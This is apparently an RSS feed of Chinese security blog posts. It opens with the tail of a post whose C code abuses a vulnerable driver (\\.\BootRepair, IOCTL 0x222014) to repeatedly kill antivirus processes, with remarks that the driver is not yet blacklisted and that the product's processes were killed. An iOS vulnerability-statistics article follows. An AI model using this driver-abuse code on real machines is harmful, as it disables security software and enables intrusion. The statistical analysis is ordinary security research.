leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;HANDLE h =&amp;nbsp;&lt;span class=&quot;code-snippet__built_in&quot;&gt;CreateFileW&lt;/span&gt;(&lt;span class=&quot;code-snippet__string&quot;&gt;L&amp;quot;\\\\.\\BootRepair&amp;quot;&lt;/span&gt;, GENERIC_READ | GENERIC_WRITE,&amp;nbsp;&lt;span class=&quot;code-snippet__number&quot;&gt;0&lt;/span&gt;,&amp;nbsp;&lt;span class=&quot;code-snippet__literal&quot;&gt;NULL&lt;/span&gt;, OPEN_EXISTING,&amp;nbsp;&lt;span class=&quot;code-snippet__number&quot;&gt;0&lt;/span&gt;,&amp;nbsp;&lt;span class=&quot;code-snippet__literal&quot;&gt;NULL&lt;/span&gt;);&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__keyword&quot;&gt;if&lt;/span&gt;&amp;nbsp;(h == INVALID_HANDLE_VALUE) {&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__built_in&quot;&gt;printf&lt;/span&gt;(&lt;span class=&quot;code-snippet__string&quot;&gt;&amp;quot;[-] open device failed: %d\n&amp;quot;&lt;/span&gt;,&amp;nbsp;&lt;span class=&quot;code-snippet__built_in&quot;&gt;GetLastError&lt;/span&gt;());&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__keyword&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__number&quot;&gt;1&lt;/span&gt;;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;}&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;DWORD ret;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__keyword&quot;&gt;while&lt;/span&gt;&amp;nbsp;(TRUE) {&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;DWORD pid =&amp;nbsp;&lt;span class=&quot;code-snippet__built_in&quot;&gt;GetDefenderProcessId&lt;/span&gt;(DEFENDER_PROCESS_NAME);&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__keyword&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span class=&quot;code-snippet__built_in&quot;&gt;DeviceIoControl&lt;/span&gt;(h,&amp;nbsp;&lt;span class=&quot;code-snippet__number&quot;&gt;0x222014&lt;/span&gt;, &amp;amp;pid,&amp;nbsp;&lt;span class=&quot;code-snippet__built_in&quot;&gt;sizeof&lt;/span&gt;(pid),&amp;nbsp;&lt;span class=&quot;code-snippet__literal&quot;&gt;NULL&lt;/span&gt;,&amp;nbsp;&lt;span class=&quot;code-snippet__number&quot;&gt;0&lt;/span&gt;, &amp;amp;ret,&amp;nbsp;&lt;span class=&quot;code-snippet__literal&quot;&gt;NULL&lt;/span&gt;))&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__built_in&quot;&gt;printf&lt;/span&gt;(&lt;span class=&quot;code-snippet__string&quot;&gt;&amp;quot;[+] killed %d\n&amp;quot;&lt;/span&gt;, pid);&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__keyword&quot;&gt;else&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__built_in&quot;&gt;printf&lt;/span&gt;(&lt;span class=&quot;code-snippet__string&quot;&gt;&amp;quot;[-] ioctl failed: %d\n&amp;quot;&lt;/span&gt;,&amp;nbsp;&lt;span class=&quot;code-snippet__built_in&quot;&gt;GetLastError&lt;/span&gt;());&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;}&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__built_in&quot;&gt;CloseHandle&lt;/span&gt;(h);&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__keyword&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;code-snippet__number&quot;&gt;0&lt;/span&gt;;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/section&gt;&lt;p style=&quot;text-align: start;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot; data-layout-id=&quot;26&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: rgba(0, 0, 0, 0.9);&quot;&gt;某绒&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: start;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot; data-layout-id=&quot;27&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: rgba(0, 0, 0, 0.9);&quot;&gt;可以看到截至目前 该驱动还没有被拉黑&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot; data-layout-id=&quot;28&quot;&gt;&lt;section style=&quot;text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/06/20260623095218178217953813696.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;1574&quot; type=&quot;block&quot; data-imgfileid=&quot;100000163&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/span&gt;&lt;/section&gt;&lt;/section&gt;&lt;section data-layout-id=&quot;29&quot; style=&quot;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;模拟加载驱动&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot; data-layout-id=&quot;30&quot;&gt;&lt;section style=&quot;text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/06/20260623095218178217953896553.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;1382&quot; type=&quot;block&quot; data-imgfileid=&quot;100000164&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/span&gt;&lt;/section&gt;&lt;/section&gt;&lt;section data-layout-id=&quot;31&quot; style=&quot;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;可以看到某绒的四个进程都被成功kill&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot; data-layout-id=&quot;32&quot;&gt;&lt;section style=&quot;text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/06/20260623095219178217953978917.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;1602&quot; type=&quot;block&quot; data-imgfileid=&quot;100000165&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/span&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot; data-layout-id=&quot;33&quot;&gt;&lt;section style=&quot;text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/06/20260623095219178217953961598.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;865&quot; type=&quot;block&quot; data-imgfileid=&quot;100000166&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/span&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;display: none;&quot;&gt;&lt;mp-style-type data-value=&quot;3&quot;&gt;&lt;/mp-style-type&gt;&lt;/p&gt;</description><pubDate>Tue, 23 Jun 2026 09:51:36 +0800</pubDate></item><item><title>iOS 漏洞为什么总出在这几个组件</title><link>https://www.7x0.cn/post/29.html</link><description>&lt;section style=&quot;font-family: -apple-system-font,BlinkMacSystemFont,Helvetica Neue,PingFang SC,Hiragino Sans GB,Microsoft YaHei UI,Microsoft YaHei,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;&quot;&gt;&lt;section style=&quot;font-family: -apple-system-font,BlinkMacSystemFont,Helvetica Neue,PingFang SC,Hiragino Sans GB,Microsoft YaHei UI,Microsoft YaHei,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;&quot;&gt;&lt;h1 data-heading=&quot;true&quot; style=&quot;display: table;padding: 0 1em;border-bottom: 2px solid #3DDC84;margin: 2em auto 1em;color: hsl(var(--foreground));font-weight: bold;text-align: center;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;iOS 漏洞为什么总出在这几个组件&lt;/span&gt;&lt;/h1&gt;&lt;p style=&quot;margin: 1.5em 8px;letter-spacing: 0.1em;color: hsl(var(--foreground));&quot;&gt;&lt;strong style=&quot;color: #3DDC84;font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;4249 个漏洞、79 个在野利用、40+ 个组件————但真正的杀机，集中在不到 5 个名字上。&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;h2 data-heading=&quot;true&quot; style=&quot;display: table;padding: 0 0.2em;margin: 4em auto 2em;color: #fff;background: #3DDC84;font-weight: bold;text-align: center;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;一、一个反直觉的事实&lt;/span&gt;&lt;/h2&gt;&lt;p style=&quot;margin: 1.5em 8px;letter-spacing: 0.1em;color: hsl(var(--foreground));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;从 2007 年 iPhone OS 1 到 2026 年 iOS 26，苹果在安全公告中披露了 4249 个安全漏洞，其中 79 个被确认在野利用（in-the-wild exploit）。这组数字本身并不令人意外————一个运行了将近二十年的操作系统，漏洞数量庞大是正常的。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin: 1.5em 8px;letter-spacing: 0.1em;color: hsl(var(--foreground));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;真正令人惊讶的是这 4249 个漏洞的分布。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin: 1.5em 8px;letter-spacing: 0.1em;color: hsl(var(--foreground));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;如果把 iOS 的 40 多个安全组件按漏洞数量排个序，前三大集群————WebKit、内核、媒体处理————合在一起，占据了全部漏洞的&amp;nbsp;&lt;/span&gt;&lt;strong style=&quot;color: #3DDC84;font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;45%&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;，却包揽了在野利用的&amp;nbsp;&lt;/span&gt;&lt;strong style=&quot;color: #3DDC84;font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;94%&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin: 1.5em 8px;letter-spacing: 0.1em;color: hsl(var(--foreground));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;这不是&amp;quot;雨露均沾&amp;quot;的故事，而是&amp;quot;赢家通吃&amp;quot;的战场。&lt;/span&gt;&lt;/p&gt;&lt;h2 data-heading=&quot;true&quot; style=&quot;display: table;padding: 0 0.2em;margin: 4em auto 2em;color: #fff;background: #3DDC84;font-weight: bold;text-align: center;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;二、漏洞的 80/20 法则&lt;/span&gt;&lt;/h2&gt;&lt;p style=&quot;margin: 1.5em 8px;letter-spacing: 0.1em;color: hsl(var(--foreground));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;让我们把数据摊开来看：&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;font-family: -apple-system-font,BlinkMacSystemFont,Helvetica Neue,PingFang SC,Hiragino Sans GB,Microsoft YaHei UI,Microsoft YaHei,Arial,sans-serif;font-size: 16px;line-height: 1.75;text-align: left;max-width: 100%;overflow: auto;-webkit-overflow-scrolling: touch;&quot;&gt;&lt;table style=&quot;color: hsl(var(--foreground));&quot;&gt;&lt;thead&gt;&lt;tr class=&quot;firstRow&quot;&gt;&lt;th align=&quot;left&quot; style=&quot;border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: hsl(var(--foreground));word-break: keep-all;background: rgba(0, 0, 0, 0.05);text-align: left;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;集群&lt;/span&gt;&lt;/section&gt;&lt;/th&gt;&lt;th align=&quot;left&quot; style=&quot;border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: hsl(var(--foreground));word-break: keep-all;background: rgba(0, 0, 0, 0.05);text-align: left;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;漏洞数&lt;/span&gt;&lt;/section&gt;&lt;/th&gt;&lt;th align=&quot;left&quot; style=&quot;border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: hsl(var(--foreground));word-break: keep-all;background: rgba(0, 0, 0, 0.05);text-align: left;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;在野利用数&lt;/span&gt;&lt;/section&gt;&lt;/th&gt;&lt;th align=&quot;left&quot; style=&quot;border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: hsl(var(--foreground));word-break: keep-all;background: rgba(0, 0, 0, 0.05);text-align: left;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;利用占比&lt;/span&gt;&lt;/section&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td align=&quot;left&quot; style=&quot;border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: hsl(var(--foreground));word-break: keep-all;text-align: left;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;WebKit 集群&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: hsl(var(--foreground));word-break: keep-all;text-align: left;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;802&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: hsl(var(--foreground));word-break: keep-all;text-align: left;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;45&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: hsl(var(--foreground));word-break: keep-all;text-align: left;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;56.3%&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;left&quot; style=&quot;border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: hsl(var(--foreground));word-break: keep-all;text-align: left;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;内核集群&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: hsl(var(--foreground));word-break: keep-all;text-align: left;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;607&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: hsl(var(--foreground));word-break: keep-all;text-align: left;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;21&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: hsl(var(--foreground));word-break: keep-all;text-align: left;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;26.6%&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;left&quot; style=&quot;border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: hsl(var(--foreground));word-break: keep-all;text-align: left;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;媒体处理集群&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: hsl(var(--foreground));word-break: keep-all;text-align: left;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;518&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: hsl(var(--foreground));word-break: keep-all;text-align: left;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;8&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: hsl(var(--foreground));word-break: keep-all;text-align: left;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;10.1%&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;left&quot; style=&quot;border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: hsl(var(--foreground));word-break: keep-all;text-align: left;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;其他所有组件&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: hsl(var(--foreground));word-break: keep-all;text-align: left;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;2322&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: hsl(var(--foreground));word-break: keep-all;text-align: left;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;5&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: hsl(var(--foreground));word-break: keep-all;text-align: left;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;6.3%&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;left&quot; style=&quot;border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: hsl(var(--foreground));word-break: keep-all;text-align: left;&quot;&gt;&lt;strong style=&quot;color: #3DDC84;font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;合计&lt;/span&gt;&lt;/strong&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: hsl(var(--foreground));word-break: keep-all;text-align: left;&quot;&gt;&lt;strong style=&quot;color: #3DDC84;font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;4249&lt;/span&gt;&lt;/strong&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: hsl(var(--foreground));word-break: keep-all;text-align: left;&quot;&gt;&lt;strong style=&quot;color: #3DDC84;font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;79&lt;/span&gt;&lt;/strong&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: hsl(var(--foreground));word-break: keep-all;text-align: left;&quot;&gt;&lt;strong style=&quot;color: #3DDC84;font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;100%&lt;/span&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/section&gt;&lt;p style=&quot;margin: 1.5em 8px;letter-spacing: 0.1em;color: hsl(var(--foreground));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;WebKit 和内核两个集群加起来，占全部漏洞的 33%，但占全部在野利用的&amp;nbsp;&lt;/span&gt;&lt;strong style=&quot;color: #3DDC84;font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;83%&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;。如果再加上媒体处理集群，三个集群就拿下了在野利用的 94%。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin: 1.5em 8px;letter-spacing: 0.1em;color: hsl(var(--foreground));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;这就是 iOS 安全的&amp;quot;80/20 法则&amp;quot;————只不过实际上比 80/20 更极端，更接近 90/10。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin: 1.5em 8px;letter-spacing: 0.1em;color: hsl(var(--foreground));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;打个比方：iOS 的攻击面就像一座城池，有四十多扇门，但攻城者几乎只从三扇门冲锋。不是因为其他门没有锁，而是这三扇门后面就是金库。&lt;/span&gt;&lt;/p&gt;&lt;h2 data-heading=&quot;true&quot; style=&quot;display: table;padding: 0 0.2em;margin: 4em auto 2em;color: #fff;background: #3DDC84;font-weight: bold;text-align: center;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;三、为什么是这三个集群？&lt;/span&gt;&lt;/h2&gt;&lt;h3 data-heading=&quot;true&quot; style=&quot;padding-left: 8px;border-left: 3px solid #3DDC84;margin: 2em 8px 0.75em 0;color: hsl(var(--foreground));font-weight: bold;line-height: 1.2;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;WebKit：浏览器即操作系统&lt;/span&gt;&lt;/h3&gt;&lt;p style=&quot;margin: 1.5em 8px;letter-spacing: 0.1em;color: hsl(var(--foreground));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;WebKit 是 iOS 上最大的单一攻击面，没有之一。802 个漏洞、45 个在野利用，这两个数字都远超任何其他组件。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin: 1.5em 8px;letter-spacing: 0.1em;color: hsl(var(--foreground));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;原因很本质：&lt;/span&gt;&lt;strong style=&quot;color: #3DDC84;font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;WebKit 就是一个操作系统里的操作系统&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;。它要解析 HTML、执行 JavaScript、渲染 CSS、解码图片、处理字体、管理网络请求、维护沙箱————一个现代浏览器引擎的复杂度，已经不亚于一个操作系统内核。而 iOS 上所有 App 的内嵌网页渲染，默认都必须使用 WebKit（这是苹果的 App Store 审核规则）。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin: 1.5em 8px;letter-spacing: 0.1em;color: hsl(var(--foreground));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;这意味着：Safari 用它，邮件 App 用它，消息 App 用它，甚至你刷到的一个广告页也在用它。攻击者不需要你打开某个特定 App————任何能渲染网页的场景，都是 WebKit 的战场。&lt;/span&gt;&lt;/p&gt;&lt;h3 data-heading=&quot;true&quot; style=&quot;padding-left: 8px;border-left: 3px solid #3DDC84;margin: 2em 8px 0.75em 0;color: hsl(var(--foreground));font-weight: bold;line-height: 1.2;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;内核：提权的终南捷径&lt;/span&gt;&lt;/h3&gt;&lt;p style=&quot;margin: 1.5em 8px;letter-spacing: 0.1em;color: hsl(var(--foreground));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;XNU 内核是 iOS 安全的根基。607 个漏洞、21 个在野利用，数量不如 WebKit，但杀伤力更致命。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin: 1.5em 8px;letter-spacing: 0.1em;color: hsl(var(--foreground));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;内核漏洞的价值在于&lt;/span&gt;&lt;strong style=&quot;color: #3DDC84;font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;提权&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;（privilege escalation）。Webkit 漏洞能让你在沙箱里&amp;quot;越狱&amp;quot;，但沙箱里的权限有限。内核漏洞能让你跳出沙箱，获得 root 权限，甚至禁用系统的安全机制。在几乎所有完整的攻击链中，内核漏洞都是不可或缺的一环————它是从&amp;quot;有限控制&amp;quot;到&amp;quot;完全控制&amp;quot;的关键跳板。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin: 1.5em 8px;letter-spacing: 0.1em;color: hsl(var(--foreground));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;内核集群中，除了 XNU 本体（437 个漏洞），还有几个特别&amp;quot;高产&amp;quot;的子组件：IOMobileFrameBuffer 虽然只有 19 个漏洞，却有 4 个在野利用（21% 的利用比率，远超平均水平）；IOSurfaceAccelerator 的利用比率也高得吓人。这些驱动层面的组件，代码量不大，但处于内核态运行，一旦出问题就是致命的。&lt;/span&gt;&lt;/p&gt;&lt;h3 data-heading=&quot;true&quot; style=&quot;padding-left: 8px;border-left: 3px solid #3DDC84;margin: 2em 8px 0.75em 0;color: hsl(var(--foreground));font-weight: bold;line-height: 1.2;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;媒体处理：零点击的最佳入口&lt;/span&gt;&lt;/h3&gt;&lt;p style=&quot;margin: 1.5em 8px;letter-spacing: 0.1em;color: hsl(var(--foreground));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;媒体处理集群有 518 个漏洞、8 个在野利用。数量上不如前两者，但它有一个独特属性：&lt;/span&gt;&lt;strong style=&quot;color: #3DDC84;font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;它是零点击攻击（zero-click attack）的首选入口&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin: 1.5em 8px;letter-spacing: 0.1em;color: hsl(var(--foreground));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;ImageIO、FontParser、CoreGraphics、CoreMedia————这些组件的共同特点是：它们在后台自动处理用户接收到的数据，无需用户任何交互。你收到一条 iMessage，里面有一张图片，ImageIO 就会自动解析它。你收到一个字体文件，FontParser 就会自动处理它。甚至邮件中的一个 PDF 附件，CoreGraphics 也会在后台预览渲染。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin: 1.5em 8px;letter-spacing: 0.1em;color: hsl(var(--foreground));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;这就是 FORCEDENTRY 攻击的原理————一张特制的 PDF 图片，经过 CoreGraphics 解析，就能在用户毫不知情的情况下攻破设备。不需要点击，不需要打开，数据到达即攻击。&lt;/span&gt;&lt;/p&gt;&lt;h2 data-heading=&quot;true&quot; style=&quot;display: table;padding: 0 0.2em;margin: 4em auto 2em;color: 